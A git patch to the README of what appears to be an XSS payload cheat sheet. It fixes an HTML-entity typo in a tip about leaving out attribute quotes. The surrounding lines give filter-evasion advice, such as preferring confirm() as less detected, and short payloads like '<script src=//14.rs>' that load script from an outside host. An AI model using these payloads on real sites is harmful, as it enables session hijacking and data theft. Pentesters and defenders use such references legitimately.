From adfbd1cde8c7b8920f3c44c3b8b5e9087fa588c4 Mon Sep 17 00:00:00 2001 From: Somdev Sangwan Date: Thu, 22 Mar 2018 19:12:23 +0530 Subject: [PATCH] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ccf4b18..93338ce 100644 --- a/README.md +++ b/README.md @@ -192,7 +192,7 @@ Come back later - alert and other pop-up functions don't need a value, so stop doing **alert('XSS')** and start doing **alert()** - You can use **//** to close a tag instead of **>**. - I have found that **confirm** is the least detected pop-up function so stop using **alert**. -- Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use **<script src=//14.rs>** instead of **<script src="//14.rs"&glt;** +- Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use **<script src=//14.rs>** instead of **<script src="//14.rs">** - The shortest independent "XSS" payload is **<embed src=//14.rs>** (19 chars) ### Awesome Credits